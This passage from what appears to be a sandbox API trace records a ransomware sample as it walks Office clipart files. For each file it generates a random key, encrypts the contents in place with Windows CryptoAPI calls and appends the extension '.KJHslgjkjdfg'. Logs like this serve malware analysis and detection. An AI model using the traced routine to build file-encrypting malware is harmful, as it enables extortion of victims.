(hFile=0x130) returned 1 [0216.841] GetProcessHeap () returned 0x2ef0000 [0216.841] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.841] GetProcessHeap () returned 0x2ef0000 [0216.841] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.841] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf.kjhslgjkjdfg")) returned 1 [0216.843] CloseHandle (hObject=0x130) returned 1 [0216.843] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02424_.WMF", cAlternateFileName="")) returned 1 [0216.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.845] GetProcessHeap () returned 0x2ef0000 [0216.845] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.845] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.845] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.845] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.870] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.871] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.871] GetProcessHeap () returned 0x2ef0000 [0216.871] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.871] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.871] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.871] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.871] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.871] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.871] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.871] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.871] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.872] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.872] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.872] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x53c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x53c, lpOverlapped=0x0) returned 1 [0216.872] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x540, dwBufLen=0x540 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x540) returned 1 [0216.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.872] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x540, lpOverlapped=0x0) returned 1 [0216.872] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.872] SetEndOfFile (hFile=0x130) returned 1 [0216.873] GetProcessHeap () returned 0x2ef0000 [0216.873] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.873] GetProcessHeap () returned 0x2ef0000 [0216.873] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.874] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf.kjhslgjkjdfg")) returned 1 [0216.875] CloseHandle (hObject=0x130) returned 1 [0216.875] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02426_.WMF", cAlternateFileName="")) returned 1 [0216.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.877] GetProcessHeap () returned 0x2ef0000 [0216.877] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.877] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.877] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.877] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.912] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.912] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.912] GetProcessHeap () returned 0x2ef0000 [0216.912] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.912] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.912] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.912] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.912] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.912] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.912] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.913] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.913] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.913] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.913] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.913] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.913] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1948, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1948, lpOverlapped=0x0) returned 1 [0216.914] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1950, dwBufLen=0x1950 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1950) returned 1 [0216.914] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.914] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1950, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1950, lpOverlapped=0x0) returned 1 [0216.914] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.914] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.915] SetEndOfFile (hFile=0x130) returned 1 [0216.917] GetProcessHeap () returned 0x2ef0000 [0216.917] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.917] GetProcessHeap () returned 0x2ef0000 [0216.917] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.917] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf.kjhslgjkjdfg")) returned 1 [0216.919] CloseHandle (hObject=0x130) returned 1 [0216.919] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02431_.WMF", cAlternateFileName="")) returned 1 [0216.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.920] GetProcessHeap () returned 0x2ef0000 [0216.920] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.920] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.920] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.920] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.923] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.923] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.923] GetProcessHeap () returned 0x2ef0000 [0216.923] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.923] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.924] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.924] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.924] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.924] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.924] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.924] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.924] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.924] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.925] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.925] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.925] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1c2c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1c2c, lpOverlapped=0x0) returned 1 [0216.926] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c30, dwBufLen=0x1c30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c30) returned 1 [0216.994] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.994] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1c30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1c30, lpOverlapped=0x0) returned 1 [0216.994] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.994] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.994] SetEndOfFile (hFile=0x130) returned 1 [0216.997] GetProcessHeap () returned 0x2ef0000 [0216.997] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.997] GetProcessHeap () returned 0x2ef0000 [0216.997] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.997] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf.kjhslgjkjdfg")) returned 1 [0216.998] CloseHandle (hObject=0x130) returned 1 [0216.998] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xff8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02435_.WMF", cAlternateFileName="")) returned 1 [0216.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.000] GetProcessHeap () returned 0x2ef0000 [0217.000] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.000] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.000] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.001] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.003] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.003] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.003] GetProcessHeap () returned 0x2ef0000 [0217.003] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.003] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.003] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.003] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.003] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.003] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.003] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.004] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.004] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.004] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.004] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.004] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xff8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xff8, lpOverlapped=0x0) returned 1 [0217.004] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1000, dwBufLen=0x1000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1000) returned 1 [0217.004] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.004] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1000, lpOverlapped=0x0) returned 1 [0217.004] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.004] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.004] SetEndOfFile (hFile=0x130) returned 1 [0217.007] GetProcessHeap () returned 0x2ef0000 [0217.007] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.007] GetProcessHeap () returned 0x2ef0000 [0217.007] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.007] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf.kjhslgjkjdfg")) returned 1 [0217.009] CloseHandle (hObject=0x130) returned 1 [0217.009] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, 